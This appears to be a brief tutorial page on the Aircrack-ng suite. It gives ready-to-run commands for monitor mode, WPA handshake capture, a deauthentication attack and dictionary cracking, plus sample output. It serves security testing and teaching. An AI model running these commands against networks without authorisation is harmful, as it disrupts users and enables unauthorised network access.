What is Aircrack-ng?
Aircrack-ng is a complete suite of tools to assess Wi-Fi network security.
It is used for monitoring, attacking, testing, and cracking WEP/WPA/WPA2
wireless networks.
Common Wireless Attack Commands
# Enable monitor mode
airmon-ng start wlan0
# Capture packets
airodump-ng wlan0mon
# Capture handshake for target
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# Deauthentication attack
aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon
# Crack WPA handshake
aircrack-ng -w rockyou.txt capture-01.cap
Sample Crack Output
Opening capture-01.cap
Reading packets, please wait...
KEY FOUND! [ password1234 ]
Master Key : 5A 7B 3C 9D ...
Transient Key : 1F 2E 3D 4C ...
Attack Phase Mapping
[ Wireless Recon ] → Monitor mode, packet capture
[ Handshake Capture ] → Deauth & reconnect clients
[ Key Cracking ] → Dictionary / brute-force attack
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